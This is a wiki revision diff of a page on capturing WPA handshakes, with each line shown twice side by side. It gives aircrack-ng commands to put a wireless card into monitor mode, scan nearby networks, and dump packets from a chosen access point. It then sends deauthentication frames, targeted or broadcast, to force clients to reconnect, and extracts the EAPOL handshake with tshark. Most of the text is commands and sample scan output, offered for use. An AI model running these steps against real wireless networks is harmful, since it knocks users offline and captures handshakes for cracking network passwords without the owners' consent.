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capture_wpa_handshake [2014/06/12 22:58]
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capture_wpa_handshake [2014/06/15 00:01] (current)
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 wlan0 Intel 6235 iwlwifi - [phy0] wlan0 Intel 6235 iwlwifi - [phy0]
  (monitor mode enabled on mon0)</code>  (monitor mode enabled on mon0)</code>
-  * Find nearest wireless networks. <code># airodump-ng mon0+  * Find nearest wireless networks. If targetting specific AP, fix channel with '-c <chan_num>' <code># airodump-ng mon0
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  14:49:E0:A4:70:28  C0:CB:38:01:1D:31   -1    1e- 0      0        1  14:49:E0:A4:70:28  C0:CB:38:01:1D:31   -1    1e- 0      0        1
  C4:27:95:75:D8:95  00:22:FA:96:D5:0C  -82    0 - 6e            4</code>  C4:27:95:75:D8:95  00:22:FA:96:D5:0C  -82    0 - 6e            4</code>
-  * Dump packets from target channel. <code># airodump-ng --channel 11 --write channel11 mon0</code>+  * Dump packets from target channel. <code># airodump-ng --channel 11 --bssid 00:11:22:33:44:55 --write channel11 mon0</code>
   * Wait for handshake... or   * Wait for handshake... or
   * Deauthenticate client from network. <code># aireplay-ng --deauth 0 -a <AP_MAC> -c <CLIENT_MAC> mon0</code>   * Deauthenticate client from network. <code># aireplay-ng --deauth 0 -a <AP_MAC> -c <CLIENT_MAC> mon0</code>
   * Or if you don't know the MAC of any associated client, broadcast a deauth. <code># aireplay-ng --deauth 0 -a <AP_MAC> mon0</code>   * Or if you don't know the MAC of any associated client, broadcast a deauth. <code># aireplay-ng --deauth 0 -a <AP_MAC> mon0</code>
   * Extract handshakes. <code>tshark -r <input file name> -R eapol || wlan.fc.type_subtype == 0×88 -w <output file name></code>   * Extract handshakes. <code>tshark -r <input file name> -R eapol || wlan.fc.type_subtype == 0×88 -w <output file name></code>
capture_wpa_handshake.txt · Last modified: 2014/06/15 00:01 by admin